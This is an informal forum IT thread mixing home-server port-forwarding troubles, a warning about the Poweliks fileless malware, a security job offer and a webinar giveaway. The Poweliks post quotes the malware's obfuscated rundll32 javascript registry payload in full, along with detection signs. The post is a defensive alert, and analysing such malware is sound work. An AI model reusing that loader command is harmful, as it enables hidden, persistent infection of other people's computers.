IT Thread

[stonehenge]

Got home and computer booted up fine. I still need to put a new 2TB in there to "undegrade" my array but otherwise, bish is running fine now wtf.

Grabbed the i5 HP machine that I got for free from a side job, installed CentOS, enabled SSH and hid it in the entertainment center.

Also setup afraid.org dns

[theholycow]

[stonehenge]

Time for some php/apache/mysql shenanigans

[theholycow]

LAMP

[stonehenge]

i lub LAMP

---------- Post added at 04:03 PM ---------- Previous post was at 04:02 PM ----------

I can SSH into it from outside but I can't access apache, must have fubar'd the port forwarding for port 80

Can't get to my router from outside because teamviewer is being a little shit head

[theholycow]

Y u no tunnel over SSH to reach router?

[stonehenge]

Too lazy, was about to GTFO

Sent from my LG-D801

[theholycow]

[stonehenge]

Port is forwarded correctly. Works from home via afraid domain name. Doesn't work from outside.

Sent from my LG-D801

[theholycow]

That doesn't indicate that port is forwarded correctly, but if we assume it is then it sounds like ISP is blocking that shet.

[stonehenge]

Hmm I've accessed http hosted at home before. Maybe I have something else fux0rd. Firewall looks like 80 is open, port is forwarded, hmm. Apache and everything is fine since it works from home. Will investigate later.

Sent from my LG-D801

[stonehenge]

+1 to cao, Cox is blocking port 80. Tried 8080 and 8001 and they worked fine.

[theholycow]

Coxblocked.

[theholycow]

Virus alert...

New virus named Poweliks has some very novel strategies, gets new versions faster than the community can keep up, and can be very difficult to remove if you don't get to it soon enough.

Although initial infection vector is a file, probably a MS Word file in a fake "UPS package for you" type of email, once it's in you can remove EVERY infected file and still be infected because it infects the registry...and not just the usual places in the usual ways. It uses malformed key names to make it impossible to see or remove in regedit, and it places itself in various areas that you never knew would run stuff.

And what exactly does it place in the registry, you ask?

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";eval("epdvnfou/xsjuf)(=tdsjqu!mbohvbhf>ktdsjqu/fodpef?(,)ofx!BdujwfYPckfdu)(XTdsjqu/Tifmm(**/SfhSfbe)(ILDV]]tpguxbsf]]dmbttft]]dmtje]]|bc9:13c5.1:db.5cc7.c89e.b9g6:18:b9e6~]]mpdbmtfswfs43]]b(*,(=0tdsjqu?(*".replace(/./g,function(_){return%20String.fromCharCode(_.charC odeAt()-1);})) -Embedding

What that jumble of obfuscated code does is fail out of one intepreter after another, leaving just enough valid stuff along the way to prevent errors, and eventually it gets to run stuff.

Here's more on that crazy command line: http://stackoverflow.com/questions/2...exe-javascript

And here's one article on Poweliks in general: https://blog.gdatasoftware.com/blog/...ut-a-file.html

First indication that you are seeing it might be tons of Rundll32's with no parent process. If you view the TCP/IP tab for their properties dialog box in Process Explorer, you'll see they're connecting to tons of random shit, obviously playing remote control zombie. They chew up the CPU and respawn when you kill them. You might also see Powershell processes, which open momentarily to spawn them.

---------- Post added at 07:01 PM ---------- Previous post was at 07:01 PM ----------

In other news, speaking of Process Explorer, the latest version has an awesome new feature: VirusTotal.com integration. Turn it on in the menu and you get a column for it. Procexp makes hashes of every file it sees and checks those hashes against VirustTotal.com's awesome service (which checks files against 55 different virus scanners).

[BillyJeanKing]

[stonehenge]

[VmaxEngage]

Got a call today from an IT recruiter.

Trustwave has a spot open for IT Sec, but it's contract for 6-12 months with a chance at perm hire. Can be paid up to $33/hr. during contract then $55k a year if hired on perm.

What y'all think? Trustwave is the company Target used for their security and the ones who dropped the ball with letting Target get compromised.

[Cez★]

dfw 33/hour

[VmaxEngage]

$33 isn't 100% yet, still gotta talk to em

[Cez★]

go work and at least learn how to protect data or how not to compromise it

[VmaxEngage]

It would be awesome experience points

[stonehenge]

Up to $33 is bamf and the experience would be great right out of school, even if it only lasts 6-12mo for some reason.

Sent from my LG-D801

[VmaxEngage]

That is what I'm thinking. Worth it to get some experience

[stonehenge]

Got an email:

"Live Webinar: QLogic 10Gb Ethernet Adapters"

meh

but wait:

"North American customers who register and attend the live webinar will receive a $5 Starbucks Gift Card!"

brb signing up for free coffee

---------- Post added at 02:26 PM ---------- Previous post was at 02:26 PM ----------

"*Limited quantities available. First 200 registered attendees will receive a $5.00 Starbucks Gift Card. Available for customers in North America only."

[VmaxEngage]